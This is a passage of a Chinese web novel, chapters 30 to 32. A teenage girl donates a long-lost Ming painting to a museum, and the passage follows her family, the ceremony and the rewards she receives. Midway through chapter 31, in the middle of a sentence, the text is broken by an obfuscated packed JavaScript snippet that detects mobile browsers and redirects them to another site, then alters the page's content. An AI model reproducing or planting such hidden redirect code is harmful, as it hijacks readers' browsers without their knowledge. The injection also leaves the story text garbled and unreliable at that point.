“这幅画是真迹……”他顿了顿,声音里带着难以抑制的激动“唐周的《繁秋山野图》,传世仅此一件。自明末战乱就失传了,《石渠宝笈》里只录了名字,连拓本都没留下来。我们找了几十年,都以为它已经毁了,没想到……没想到,今天能在这里见到未损毁的真迹!这是国宝,是能改写明代吴门画派研究史的国宝!” “轰”的一声,屋里像炸开了锅。 吴校长腿一软,差点靠在墙上,呼吸急促,连说了两遍“我的老天爷”。 他只知道时墨这孩子不简单,却没想到,她手里竟然握着一件国宝! 周副所长和陈老面面相觑,他们本来以为那套《济世良方辑要》已经是难得的珍品,现在才知道,在这幅画面前,那套医书根本不够看。他们虽然不懂书画,但“传世仅此一件”意味着什么,他们懂。 方记者手里的笔直接掉在了本子上,她瞬间就反应过来——这不是校园新闻,这是能上全国头版头条的大新闻!失传三百年的国宝重见天日,还是一个十八岁的中学生发现、并准备捐赠的,这题材,简直是独一份! 她一把抓住小李的胳膊,声音发紧:“拍!快拍!这是大新闻!” 小李手抖得对不准焦,快门按了好几下才听见“咔嚓”声。 李秀兰听到这话,手顿了一下,目光落在那幅旧画上。她看了几秒,没出声,只是把水壶轻轻放在旁边的矮柜上,脚步极轻地走到时墨身后半步的位置站定——别人看的是画,她守的是自家闺女。 只有时墨,安安静静站在一旁,脸上没有惊讶,没有激动,只是静静看着那幅画,像看一位老友。 宋正先注意到了。 他盯着时墨看了好几秒,忽然问:“你早就知道?” 时墨没有否认,只是微微点头。 “那你打算怎么办?” 时墨抬起头,认真道:“捐给国家。” 这话像一颗石子投进湖里,激起千层浪。 “捐了?!”老陈第一个叫出来,“小墨同志,你知道这画值多少钱吗?” “知道。”时墨说。 “那你……” “陈老。”时墨打断他,语气依旧平静,“这画在我手里,就是个锁在柜子里的秘密。只有到了国家手里,才能让所有人都看见它。” 她顿了下,随即笑道:“我买它花了六百块,已经值了。” 屋里静了一瞬。 宋正先看着她,眼神里有什么东西在慢慢变化。那是他从医书捐赠现场一路看到现在,终于拼凑完整的画面——这姑娘不是运气好,不是眼力毒,她是心里有一杆秤,知道什么东西该放在什么地方。 李秀兰在旁边听着,忽然伸手拍了拍女儿的肩膀,没说话,只是轻轻点了下头。 “好。”宋正先沉声道,“那我就不废话了。这幅画,我代表历史博物馆,正式向你表示感谢。” 他站起身,对孙老说:“老孙,你看住画,谁都别动。我去打电话。” “去哪儿打?” “你们厂里有没有电话?”宋正先看向时墨。 时墨摇头:“家属院没有,得到厂部传达室。” “那我去厂部。”宋正先说着就往外走,走到门口又回头,“老孙,在我回来之前,谁都不许碰这幅画。记者也别拍细节,拍了也不能发,等我带人来!” 30. 第 30 章 方记者赶紧点头:“明白明白,等您回来再拍!” 宋正先推门出去,脚步声匆匆消失在楼道里。 屋里再次陷入安静。 屋里的人还没从震惊里缓过来,围着桌子,看着那幅画卷,眼神里满是敬畏,谁都不敢伸手碰一下。 方记者挤到时墨身边,语气激动道:“时墨同学,你……你真的打算把这幅国宝也捐赠给国家吗?” 时墨笑得坦然:“嗯。和那套医书一样,这是老祖宗留下的东西,放在博物馆里,让专家研究,让老百姓能看到,才能发挥它的价值。放在我手里,除了藏着,什么用都没有,反而糟蹋了宝贝。” 吴校长在旁边听得满脸红光,不停跟身边的周所长念叨:“你看看!你看看!这就是我们学校的学生!才十八岁!这份觉悟!这份胸襟!” 这话一出,屋里几个人都笑了,气氛松快了些。 等众人的惊叹声稍落,李秀兰伸手拉了拉时墨的胳膊,把人带到卧室门口的僻静处,声音压得低,严肃道:“墨墨,你跟妈交个底,这画真是你六百块收的?刚才宋老说的,都是真的?” “是真的,妈。”时墨点头。 李秀兰盯着闺女看了两秒,忽然抬手拍了拍时墨的肩膀,眼里亮得惊人,全是压不住的骄傲:“行,我闺女有眼光,有胸襟。你想捐,妈百分百支持你,咱们家没一个拖你后腿的。六百块换一件国宝归了国家,值当!” 孙老坐在画旁边,像一尊门神,眼睛一刻不离那幅画。老陈和唐老师一左一右,三人呈三角之势,把那张饭桌护得严严实实。 周副所长凑到时墨跟前,压低声音道:“时墨同学,你这一捐,可是了不得的大事。明天报纸一登,全国都知道你了。” 时墨谦虚道:“周所长过奖了,我只是做了该做的事。” 陈老也走过来,握着她的手,眼眶泛红:“小同志,我今天算是开了眼了。医书、古画,你这一出手,比我们这些老头子折腾一辈子都强。” “陈老您言重了,可不能这么说。”时墨连忙摆手,“我哪比得上您们为了国家奉献终身的辛苦。” 小李在旁边急得团团转,相机举了又放,放了又举,嘴里念叨着:“太可惜了,太可惜了,这么大的新闻,只能干等……” “急什么。”方记者倒是稳得住,“等宋老回来,正式接收的时候,那才是大场面,你刚才拍的可不能先流出去。” “放心,这事儿咱不能干。” 正说着,门外传来嘈杂声。 时墨从窗户望出去,只见楼下已经围了一圈人,都是下班回来的家属院邻居。有人踮着脚往楼上张望,有人交头接耳议论纷纷,还有人扯着嗓子喊:“老时家出啥事了?来了这么多车!” “坏了。”李秀兰一拍大腿,扫了眼窗外,“这点下班了,院里这些人都陆续回来了,他们眼睛尖着呢。” 果然,没一会儿,敲门声就响了起来。 “秀兰在家吗?我家老张说看见你家来了好些人,楼下这又停了好些车,出啥事了?” 时墨刚要动,李秀兰先给她递了个眼色,嘴型无声说了句“你顾着画,这边我来”,转身就迎了上去,拉开门的同时脸上已经带了熟络的笑。 门一开,邻居王大妈第一个挤进来,后面跟着刘婶、赵大爷、小媳妇大姑娘,呼啦啦涌进来四五个,把本来就挤的客厅塞得水泄不通。 “哎哟我的天,这么多人!”王大妈一眼看见饭桌上的画,还有围在旁边的三个老头,“这是干啥呢?开啥会呢?” “王姐,刘婶,赵大爷,快进来坐!”李秀兰侧身让众人进来,没等大家追问,先大大方方把话撂了出来,分寸拿捏得刚刚好,“没啥大事,就是我家墨墨之前收了幅老字画,今天国家博物馆的专家过来鉴定,说是个有年头的老物件,孩子打算捐给国家,专家们过来办手续。” 刘婶眼尖,指着方记者手里的相机:“那这照相的是干啥的?” “这两位是报社的记者同志,过来记录一下这事,回头还要登报呢!”李秀兰笑着接话,顺势给方记者递了个眼神,“同志,要不您给他们也拍一张?都是老街坊了。” 方记者很配合地举起相机,对着王大妈“咔嚓”一下:“大妈您笑得真好看,我再给您拍一张!” 王大妈立刻被转移了注意力,连忙整理衣襟:“哎哟哎哟,我这头发乱不乱?小伙子,要不我回去换套衣服,你再给我来一张。” “可以可以。” 李秀兰在旁边笑着搭腔:“王姐快理理你那刘海,这可是难得上报纸的机会,拍出来漂漂亮亮的,回头让你老家的亲戚都看看,多有面儿!” 屋里气氛顿时活络起来。 又有人敲门,这回是楼下的李大爷。 “爱国呢?还没下班?”李大爷探头探脑,“我听说来了一排小轿车,还以为你家出啥大事了。” “没事没事,李大爷,就是几个文博系统的同志过来办公事。”李秀兰笑着应下,“爱国今天厂里加班,晚点回来。” 李大爷看着屋里那群明显不是普通人的面孔——宋老那身中山装,陈老那副老花镜,孙老那股子派头,还有周副所长的干部相——眼神狐疑,“你这专家都挺有派头啊。” 方记者又开始拍照,这回对准的是李大爷:“大爷您站好,我给您拍一张!” 李大爷立刻挺直腰板,脸上堆满笑。 就这样,一波又一波邻居涌进来,李秀兰始终笑脸相迎,三言两语就把事情说清楚,既不藏着掖着惹人猜疑,也不说太多细节惹麻烦,轻轻松松就把场面稳住了。 可人越来越多,眼看楼道里都站满了人,李秀兰怕人多出事,便站在门口,脸上依旧带着笑,说话带着纺织厂车间班长那股子利落劲儿,不软不硬却有分量:“各位街坊邻居,谢谢大家这么关心!不过屋里地方实在太小,专家们还在守着老物件忙正事,怕挤着碰着了不好交代。大家先在楼道里稍等会儿,等正事办完了,我再挨个儿跟大家细说,行不行?麻烦大家多体谅了!” 她在家属院住了人缘好,说话又有分寸,众人一听这话,果然都不再往屋里挤,乖乖在楼道里等着,议论声也小了不少。 “听说老时家闺女得了宝贝?” “不是得了,是买的,六百块!” “六百块买个破画?疯了吧?” “破画?你没看见那三个老头跟供祖宗似的供着那画吗?那能是破画?秀兰多精明的人,能让她闺女吃亏?” 议论声此起彼伏,楼道里嗡嗡嗡一片。 就在这时,楼下传来汽车喇叭声。 时墨从窗户望出去,只见两辆绿色吉普车停在楼下,车门打开,下来五六个人,有穿制服的,有穿中山装的,还有两个捧着木箱的年轻人。 打头的正是宋正先。 “来了来了!”屋里一阵骚动。 孙老腾地站起来,对时墨道:“小墨,准备交接了。” 时墨点点头,深吸一口气,走到饭桌旁。 楼道里的人群自动让开一条路。宋正先领着人上来,身后那几个穿制服的步伐沉稳,一看就是干这行的。 “小墨。”宋正先走到她面前,神情郑重,“这位是历史博物馆的刘副馆长,这位是国家文物局的刘处长。我们连夜赶过来,就是为这幅画。” 刘副馆长上前一步,握住时墨的手,目光里满是感慨:“时墨同志,我代表历史博物馆,向你表示最诚挚的感谢。这幅画我们找了几十年,今天终于……终于……” 他说不下 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王大妈第一个冲到时墨跟前,拉着她的手,激动得语无伦次:“墨墨啊,你、你可太了不起了!咱家属院出了个大英雄!” 刘婶也挤过来:“我就说这闺女从小就不一样!你看看,你看看,这叫什么来着?对,慧眼识珠!” 赵大爷在旁边插嘴:“你那会儿还说她‘天天看书看傻了’呢!” “我什么时候说过?你净瞎说!” 哄笑声中,时墨被邻居们围在中间,脸上始终带着浅浅的笑。 李秀兰站在人群外围,看着被众人围着的闺女,嘴角的笑就没下去过,眼眶微微发热,却硬是没让眼泪掉下来——她闺女出息了,她该高兴,该撑住场面。 方记者举着相机,对准这一幕,“咔嚓”拍下。 她知道,明天的报纸头版,有着落了。 刘副馆长和刘处长办完交接手续,将一张盖着公章的收据郑重交到时墨手中。收据上写着:今收到时墨同志无偿捐赠唐周《繁秋山野图》真迹一卷。 “时墨同志,明天上午十点,我们在历史博物馆举行正式捐赠仪式,届时会有更多媒体到场。”刘副馆长说,“今天太晚了,这画我们就先带回去入库。你放心,一路都会有专人护送。” 时墨点头:“好,明天我一定准时到。” 送走刘副馆长一行人,已经是晚上七点多。 方记者和小李直接被邻居们围住了,大家七嘴八舌地跟记者说时墨的好话,从她小时候懂事不惹事,说到她学习好、孝顺父母,恨不得把时墨从小到大的好事都跟记者说一遍,素材直接堆成了山。 “我们刚才的采访有没有落下的,我们可以补!” “明天报纸真的会登吗?登第几版?” “对对,把我拍好看点。” 时墨站在人群外围,看着这热闹的一幕,嘴角微微扬起。 李秀兰走过来,手里端着一杯温水递给女儿,心疼道:“忙了一下午,快喝点水润润嗓子。” 见时墨接过杯子喝了一口,她靠在橱柜上,看着闺女,忍不住笑着戳了戳她的胳膊:“行啊你这丫头,藏得够深的,这么大的事,愣是一点口风没跟妈露。” 说着又收了笑,语气里全是骄傲:“不过妈真为你高兴,我闺女,有出息,有格局,没给咱们家丢脸。”说着叹了口气,“可惜你爸和你哥今天厂里加班没赶上这大场面。” “等他们晚上回来,我可得原原本本跟他们好好说说,让他们也惊一惊。明天的捐赠仪式,咱们一家四口都去,我等会儿就把你爸过年才穿的那身中山装找出来,咱们穿得整整齐齐的,给我闺女撑场面去!” 31. 第 31 章 夜里九点多,家属院的路灯都亮了大半,时爱国和时建军才踩着点进了楼道。父子俩一身机油混着铁锈的味道,肩上还搭着沾了油污的工装手套,刚推开家门,就被客厅里还没归置整齐的凳子、一摞空水杯惊了一下。 “这是咋了?家里来客人了?”时爱国把工装往门后挂钩上一挂,眉头先皱了起来,“不是说今天去学校办医书捐赠的事?怎么闹了这么大阵仗?” 时建军也凑过来,一脸好奇:“我妹呢?没出啥事吧?” “能出啥事?出天大的好事了!”李秀兰拉着父子俩就往桌边坐,眼睛亮得跟装了灯泡似的,“你们俩今天加班,可是错过了咱们家属院建院以来最大的场面!” 她拉着人坐定,先给两人各倒了杯温水,才从下午宋正先上门、一屋子人跟着回家、鉴定出失传三百年的国宝《繁秋山野图》,到时墨当场决定捐赠、博物馆领导带着安保上门交接、邻居围了半栋楼的事,原原本本、绘声绘色地讲了一遍。连宋老鉴定时手都抖了、吴校长激动得差点摔了跟头、王大妈他们围着要上报纸的细节,都半点没落下。 温水放到手边,时爱国愣是一口没喝,手里夹着的烟卷都烧到了滤嘴,烫得他猛地一哆嗦,才回过神来,声音都发紧了:“你……你说啥?墨墨花六百块收的那幅画,是……是国宝?还是失传了几百年的那种?” 旁边的时建军直接“嚯”地一声站了起来,椅子在水泥地上蹭出刺耳的声响:“我妹,我妹太牛了吧!六百块捡了个国宝?还要捐给国家?” “喊什么喊,吓着你妹!”李秀兰把人拉下坐好,嘴角的笑却压都压不住,“你妹在屋里写明天捐赠仪式的发言稿呢,别去闹她。” 时墨听见动静,推开门走了出来,靠在门框上笑着喊了声“爸,哥”。 时爱国看着闺女,这个他从小看着长大的丫头,才十八岁,脸上半点骄矜都没有,还是那副从容淡定的样子,他忽然就红了眼眶,抬手重重拍了拍时墨的肩膀,声音带着点沙哑,却掷地有声:“好!好闺女!爸没白教你!这事你做得对!咱们老时家,不贪那意外之财,能给国家做点贡献,是咱们的荣耀!” “就是!”时建军凑过来,一把揽住时墨的肩膀,笑得一脸灿烂,“我妹就是厉害!不光学习好,眼光还这么毒!以后我出去,都能跟人吹,我妹是给国家捐国宝的人!太给咱们家长脸了!” 时墨被父子俩夸得有点不好意思,笑着摆手:“就是运气好,碰上了而已。” “运气也是给有准备的人的!”时爱国瞪了她一眼,语气却全是疼爱,“明天的捐赠仪式,你别紧张,该说什么说什么,咱们不卑不亢,就按你心里想的来,爸和你哥、你妈,都给你撑场面去!” “那必须的!”时建军立刻接话,“明天我把我那身新涤卡上衣穿上,保证站得笔直,不给我妹丢人!” 李秀兰笑着戳了他一下:“就你话多。赶紧的,都别围着了,我去给你们热饭,吃完了赶紧挑明天穿的衣服,都给我穿得利利索索的,别给咱们墨墨掉链子!” 晚饭过后,一家四口挤在卧室里,翻箱倒柜地挑衣服。 李秀兰先把时爱国过年才舍得穿的那身深蓝色中山装找了出来,仔仔细细熨了一遍,连领口的褶皱都抚平了;又给儿子翻出他攒了三个月工资买的藏蓝色涤卡上衣,还有一条崭新的的确良裤子,逼着他试了又试,直到看着合身才罢休。 轮到时墨,李秀兰翻出了两件衣服,一件是月白色的的确良衬衫,配一条藏青色的西装裤,还有一件是过年时给她做的浅灰色布拉吉,犹豫着问:“墨墨,你看穿哪件合适?既要正式,又不能太扎眼,你还是学生。” 时墨拿起那套白底碎花衬衫和西装裤,笑着说:“就穿这个吧,简单大方,也符合学生的身份。” “行,就这个。”李秀兰点点头,把衣服叠好放在床头,又叮嘱道,“明天妈给你梳个利落的马尾,精神。见了领导别慌,该打招呼打招呼,有你爸和孙老他们在,天塌不下来。” “知道了妈。”时墨看着一家人忙前忙后,心里暖烘烘的。 窗外的月光透过玻璃洒进来,落在一家人身上,满是温馨。 * 第二天一大早,天刚蒙蒙亮,时家就忙活开了。 李秀兰五点就起了床,把昨晚就熨好的衣服又拿出来检查了一遍,穿上一身藏青色涤卡外套,头发梳得一丝不苟,用发卡别得整整齐齐。 “墨墨呢?”时爱国整理完问道。 “屋里换衣服呢。”李秀兰朝女儿房间努努嘴。 正说着,时墨推门出来。 她穿了一件白底碎花的衬衫,外面套着天蓝色针织开衫,头发扎成高高的马尾,露出光洁的额头。整个人干净、清爽,又带着点这个年纪女孩少有的沉稳。 “哟!”李秀兰眼睛一亮,“我闺女这么一打扮,比电影明星还俊!” 时建军在旁边啃馒头,含糊不清地附和:“那是,我妹什么时候都好看。” 时爱国看着女儿,心里又骄傲又有点酸——闺女长大了,出息了,今天要去那么大的场合了。 “爸,妈,你们也快吃饭。”时墨坐到桌边,“不是说好了早点出门吗?” 一家人围坐在一起,吃着李秀兰早起熬的小米粥、烙的葱油饼。没人提紧张,但气氛跟往常不一样——每个人心里都揣着事,筷子动得都比平时快。 “爱国,你跟厂里请好假了?”李秀兰问。 “请好了,昨晚上就去车间主任家打了招呼。”时爱国放下筷子,“主任一听是这事,拍着胸脯说‘去!必须去!咱厂里的闺女出息了,这是光荣事!’还说要给我爷俩算公假。” 一家人正说着,楼下传来汽车喇叭声。 “这么早?”李秀兰起身往窗外看,只见一辆八成新的小面包车停在楼下,孙老正从车里探出头来。 时墨放下碗:“孙老来了,咱们下去吧。” 一家人赶紧收拾,锁好门下楼。 孙老一见他们,笑呵呵地迎上来:“我怕你们坐公交不方便,特意找了辆车,咱们直接过去,省得路上耽误时间。” 时爱国有些不好意思:“孙老,您太客气了,我们自己坐公交去就成。” “那哪行?”孙老一摆手,“今天什么场合?公交车多耽误事。快上车,路上我跟你们说说流程。” 一家人钻进车里。面包车虽然旧,但收拾得干干净净,司机是个沉默的中年人,冲他们点点头,稳稳发动了车子。 孙老坐在副驾驶,回过头来:“小墨,今天这阵仗可不小,我先给你们透个底,免得到时候慌。” 时墨点头:“孙老您说。” “流程是这样的:到了博物馆,先有个简短的欢迎仪式,签到后跟各位领导见个面,然后仪式正式开始,先是主持人开场,然后宋老讲这幅画的文物价值,接着文物局领导讲话,然后是你上台发言,之后就是捐赠证书交接、授锦旗,最后是媒体采访。” 时墨认真听着,不时点头。 孙老又补充道:“发言不用太长,就按你自己的想法说,不用讲空话套话,真诚就好。采访的时候要是有不想答的,就推给我或者宋老,我们给你兜着。” “谢谢您孙老,我记住了。” 旁边的时爱国和李秀兰,听得手心都开始冒汗了,夫妻俩对视一眼——他们哪见过这阵仗? 时建军悄悄凑到时墨耳边:“妹,你紧张不?” “还好。”时墨轻声说,“哥,你就当是去开大会,坐稳了就行。” “……”时建军挺直僵硬的背点点头。 面包车穿过清晨的街道,越往市中心开,路上的车和人越多。约莫半个小时,车子停在历史博物馆门口。 “到了。”孙老说。 车刚停稳,时家人往窗外一看,瞬间都愣住了,连呼吸都顿了半拍。 博物馆门口挂着几米长的红色横幅,上面烫金的大字格外醒目——“热烈庆祝国宝《繁秋山野图》入藏暨时墨同志捐赠仪式”。 正门前,已经站了几十号人。最显眼是扛着相机、拿着录音笔的记者黑压压一大片,还有穿着中山装、戴着眼镜的专家学者模样的人,三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204626|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三两两聚在一起交谈。有不少闻讯赶来的文博界学者、凑热闹的市民,围得里三层外三层。 时爱国的手下意识攥紧了裤缝。 李秀兰的呼吸都变轻了。 时建军咽了口唾沫,小声嘟囔:“我的个老天爷……” 孙老笑呵呵地拉开车门:“下车吧,愣着干啥?” 时墨吐出一口气,率先下了车。 她刚站定,记者群就骚动起来。 “来了来了!” “就是那个小姑娘?” “这么年轻?真的假的?” 闪光灯“咔嚓咔嚓”响成一片,晃得人眼睛发花。有记者已经冲过来,话筒举到面前:“时墨同志,请问你是怎么发现这幅画的?”“你为什么决定捐给国家?”“你今年多大了?” 时墨还没来得及回答,宋正先已经大步走了过来,身后跟着几个气度不凡的老者。 “小墨!”他笑着伸出手,“可把你等来了!” 时墨握住他的手,礼貌地叫了声:“宋老好。” 宋正先点点头,转向旁边的几位老者,一一介绍:“这位是国家文物局的陈局长,这位是□□的王副部长,这位是我们博物馆的周馆长,这位是文物鉴定委员会的韩老……” 时墨挨个问好,态度不卑不亢,落落大方。 几位领导看着她,眼神里都带着欣赏。 “时墨同志,你的事迹我们昨晚就知道了。”陈局长握着她的手,语气郑重,“小小年纪,能做出这样的决定,了不起!” 时墨微微欠身:“陈局长过奖了,这是我应该做的。” 王副部长在旁边笑道:“老陈,别光顾着夸,咱们进去说?” “对对对,进去说进去说!” 一行人往博物馆里走。 时墨回头看了眼家人——时爱国正被几位领导围着握手,脸上的表情既激动又拘谨,但腰板挺得笔直;李秀兰站在他旁边,笑得得体,只是攥紧提包的手露出她此刻的紧张感;时建军被一位工作人员领着,脸涨得通红,但努力装出镇定的样子。 时墨这才放下心。 博物馆的大厅今天布置得格外庄重。正前方是一张铺着红丝绒的长桌,桌上放着一个精致的展柜,《繁秋山野图》已经静静地躺在里面,被柔和的灯光照着。 大厅里已经坐满了人,前排是各位领导、文博界的泰斗,后面是邀请来的全国各大主流官方媒体的记者。时墨甚至认出了其中几张电视新闻里见的人物。 时墨一家人被领到前排就坐,刚坐下,旁边的宋正先就凑过来,笑着跟时墨说:“别紧张,按咱们之前说的来就行。” 时墨点点头,轻声道:“您放心,我没问题。” 上午十点整,捐赠仪式正式开始。 主持人走上台,声音洪亮地开场,先介绍了到场的各位领导和嘉宾,然后详细讲述了《繁秋山野图》的历史价值——明代吴门画派代表人物唐周的传世孤品,失传近四百年,《石渠宝笈》仅录其名,连拓本都未曾流传,具有极高的历史、艺术和文物价值,属于国家一级文物,应永久禁止出境展览。 台下瞬间响起雷鸣般的掌声,所有人的目光,都落在了前排的时墨身上。 接下来,宋正先走上台,他拿着话筒,详细讲述了这幅画的鉴定过程,说到激动处,声音都微微发颤:“我搞了一辈子书画鉴定,找了这幅画找了几十年,都以为它已经毁于战火了。没想到,竟然被一个十八岁的小姑娘,从旧货市场里找了回来,还无偿捐赠给了国家。时墨同志,不光有一双识宝的慧眼,更有一颗为国藏宝的赤子之心,这份胸襟,这份格局,值得我们所有人学习!” 台下再次响起掌声,比刚才更热烈。 然后是文物局的陈局长上台,从国宝的价值讲到时墨的义举,从文物保护的意义讲到青年一代的责任,还宣布了国家对时墨同志的表彰决定。 终于,轮到了时墨上台发言。 主持人笑着说:“接下来,让我们用最热烈的掌声,欢迎国宝《繁秋山野图》的捐赠者,时墨同志上台发言!” 32. 第 32 章 雷鸣般的掌声瞬间响彻整个大厅,时墨站起身,整理了一下衬衫的领口,从容不迫地走上台,接过话筒。 台下的李秀兰紧紧攥着时爱国的手,眼眶都红了,时爱国手拍得通红,时建军使劲鼓掌,一脸激动地看着台上的妹妹。 时墨站在话筒前,看着台下黑压压的人群,镜头和目光,脸上没有半点慌乱,声音清亮而坚定,透过话筒传遍了整个大厅: “各位领导,各位前辈,大家好。我是时墨,是一名普通的高三学生。” “很多人问我,为什么愿意把价值连城的国宝,无偿捐赠给国家。其实答案很简单。这幅画,不是我个人的私产,是我们老祖宗留下的文化瑰宝,是属于整个国家、整个民族的财富。它在我手里,只能是锁在柜子里的一幅画,没有人能看见它的美,没有人能研究它的价值,时间久了,甚至可能再次损毁、失传。” “只有把它交给国家,放在博物馆里,让所有老百姓都能看见它,让专家学者能好好研究它,让六百年前的笔墨风骨,能被一代又一代人看见,它才算真正活了过来,才算有了最好的归宿。” “我只是做了一件每个华夏人都会做的事,尽了一点微薄的力量。谢谢大家。” 话音落下,全场先是静了一秒,随即爆发出排山倒海般的掌声,经久不息。 台下的领导们纷纷点头,眼里满是赞许,宋正先更是用力地鼓着掌,笑得一脸欣慰。 这个十八岁的小姑娘,没有半句空话套话,没有半点骄矜自满,简简单单的几句话,却掷地有声,格局尽显,让在场所有人都刮目相看。 接下来是捐赠交接仪式。 时墨走到台前,在铺着红丝绒的长桌前坐下。 工作人员递上两份文件——一份是捐赠协议,一份是接收证明。 时墨拿起笔,在每一页上工工整整签下自己的名字。 签字的时候,闪光灯就没停过。 时墨的手很稳,一笔一划,写得很慢,像是在完成一个郑重的承诺。 签完最后一笔,她站起身,把文件双手递给对面的周馆长。 周馆长双手接过,又将一本烫金的捐赠证书、一面写着“文物保护功勋爱国青年典范”的锦旗,郑重地交到了时墨手里。眼眶有些发红:“时墨同志,我代表历史博物馆,向你表示最诚挚的感谢。这幅画,我们会用生命来守护。” 时墨郑重地点了点头。 仪式的流程走完,领导们专门在贵宾室见了时墨一家人,正式宣布了国家给时墨的三项奖励。 陈局长清了清嗓子,神情郑重:“时墨同志,你为国家捐赠了这么珍贵的国宝,国家不会忘记你的贡献。我们跟教育部、还有你父母和哥哥的单位商量过了,给你准备了三项奖励,你听听看。” 他从工作人员手中接过一份文件,念道: “第一,授予时墨同志‘国家文物保护特殊贡献者’荣誉称号,颁发荣誉证书和奖章。” 工作人员端着一个托盘上来,上面放着一本大红封皮的证书和一枚金灿灿的奖章。时墨双手接过,闪光灯又是一阵狂拍。 “教育部特批,保送你进入首都大学历史系或者文博系,免试入学,学费全免。 这话一出,一旁的时爱国和李秀兰都屏住了呼吸。首都大学,那是全国顶尖的学府,多少人挤破头都考不上,现在竟然直接保送! 可时墨却微微摇了摇头,语气诚恳却坚定:“谢谢领导,谢谢教育部的好意。但是这个保送名额,我不能要。” 全场都愣了一下,连陈局长都有些意外:“哦?为什么?” “我今年就要参加高考了,我的成绩在学校一直是年级第一,我有信心凭自己的本事考进首都大学。”时墨笑了笑,语气坦然,“这个保送名额,是国家给的珍贵机会,应该留给更需要、更符合条件的同学,我不能因为捐了一幅画,就占用这个名额。等我凭自己的成绩考进首都大学,再踏踏实实去读书,心里也踏实。” 这话一出,在场的领导们都愣住了,随即纷纷点头,眼里满是赞许。 宋正先更是哈哈大笑,拍着大腿说:“好!好!有志气!我就知道,这丫头不一般!” 直到这时,大家才知道,这个捐了国宝的小姑娘,不光有眼光有格局,学习成绩还这么优异,根本不是靠捐赠走捷径的人,心里更是佩服。 陈局长愣了几秒,随即笑着点头:“好!有骨气!我们尊重你的决定!那我们就等你高考的好消息!” 刘局长继续道:“第二项奖励,给予时墨同志的父亲时爱国同志、母亲李秀兰同志所在单位,各记大功一次,并纳入今年的评优优先考虑。” 时爱国和李秀兰对视一眼,都有些不好意思,连忙站起来鞠躬致谢。 “第三,给予时墨同志的兄长时建军同志,一个正式的工作编制。经我们与国家机械工业部协商,时建军同志可以直接进入首都机械研究所,成为正式职工。” 时建军腾地站起来,脸涨得通红,连连摆手:“不不不,这不行!我妹妹捐画,是她的心意,这跟我没关系,我不能要!” 时墨心里一动。 她看向哥哥——时建军平时话不多,但人踏实肯干,从小就对机械感兴趣,家里的收音机、手表坏了都是他修。首都机械研究所,那是全国顶尖的科研单位,如果哥哥能进去…… “哥。”她轻声叫了一句。 时建军看向她,拼命摇头,嘴型无声地说“不行不行”。 这时候孙老开口了,笑呵呵地拍拍时建军的肩膀:“小同志,别急着拒绝。这可不是白给你的,是国家对你妹妹贡献的奖励,也是对你本人的认可,我们都是调查过的。再说了,你不是喜欢摆弄机械吗?首都机械研究所,那可是全国搞机械的都想进的地方。你进去好好干,给国家多做贡献,不就对得起这份奖励了?” 周副所长也在旁边帮腔:“是啊小同志,这是国家的心意,你就安心收下。以后好好工作,为国家做贡献,就是最好的回报。” 陈局长也笑了:“别紧张。我们了解过,你高中毕业,虽说是临时工,但在厂里技术科一直干得不错,业务能力过硬,现在也在考大专拿文凭。首都机械研究所正缺你这样有实操经验的年轻人。你进去之后,好好干,前途无量。” 时建军张了张嘴,说不出话来,看向父母。 时爱国沉默了片刻,冲儿子点了点头。 李秀兰眼眶泛红,也点了点头。 时建军站在那里,脸涨得通红,看看妹妹,又看看各位领导,最终咬了咬牙:“谢谢各位领导,谢谢国家。我向各位领导保证,我到了新岗位,一定好好干,拼命学技术,绝对不给国家丢脸!” 刘局长哈哈大笑,拍了拍他的肩膀:“好!有志气!我们就等你好好干,干出成绩来!” 时建军站在那儿,脸还是红的,但腰板挺得笔直。 时墨看着哥哥,嘴角微微扬起。 最后,刘局长拿出一个红色的信封,递到时墨手里,笑着说:“时墨同志,这是国家给你的五千元奖金,奖励你为国家找回国宝的贡献,这个,你必须收下。” 五千元。 现在普通工人一年的工资也就一千出头,五千元相当于普通家庭好几年的收入了,绝对是一笔巨款。 时墨双手接过信封,没有推辞,坦然道:“谢谢国家的奖励,谢谢各位领导。这笔钱,我会专门存起来,用来继续收集民间流失的文物,让更多的国宝,能回到国家手里,回到博物馆里。” 捐赠仪式结束后,是自由交流时间。 记者们涌了上来,把时墨团团围住。问题一个接一个,时墨不慌不忙,一一作答。她的声音不大,但吐字清晰,态度从容,完全不像是第一次面对这么多镜头。 有位老记者忍不住感叹:“这姑娘,天生就是干大事的料。” 宋正先站在一旁,看着时墨应对记者的样子,眼里满是欣赏。他对旁边的孙老说:“老孙,这姑娘你是在哪儿挖到的?眼光毒,心正,脑子清楚,说话还这么得体——我干了四十多年鉴定,头一回见这样的年轻人。” 孙老笑得见牙不见眼:“那是!我第一眼见她就知道这丫头不简单!老宋,你可别跟我抢人。” “抢什么抢?”宋正先笑骂,“她是你的忘年交,也是我的忘年交。以后在首都,她的事就是我的事。” 时爱国和李秀兰也被几位领导围着说话。起初还有些拘谨,聊着聊着就放松下来。李秀兰说起女儿小时候的事,脸上全是笑;时爱国话不多,但每一句都实在,赢得几位领导频频点头。 时建军被首都机械研究所的几位专家拉到一边,聊起了机械方面的话题。起初他还紧张,聊到技术问题就慢慢放松了,说到兴处,眼睛都亮起来。 【叮——】 系统的声音忽然在脑海里响起。 【宿主,阶段性进步奖励已审批通过,现予发放!】 时墨一边应付着记者,一边在心里回应:【说。】 【奖励一:资产限额提升。宿主当前可支配资产上限,从“国民年收入1.5倍”提升至“国民年收入3倍”!】 【奖励二:能量币10000点。宿主可随时前往系统商城查看!】 时墨的嘴角,忍不住扬起了一抹浅浅的笑意。 捐赠仪式结束后,已经接近中午。孙老再次把时墨一家送回家。 车上,一家人还没从今天的震撼里缓过来。 时建军一直捧着那本捐赠证书,翻来覆去地看,笑得合不拢嘴;李秀兰靠在座位上,拍着胸口说:“我的天,今天见了那么多大领导,我手心的汗就没干过,还好 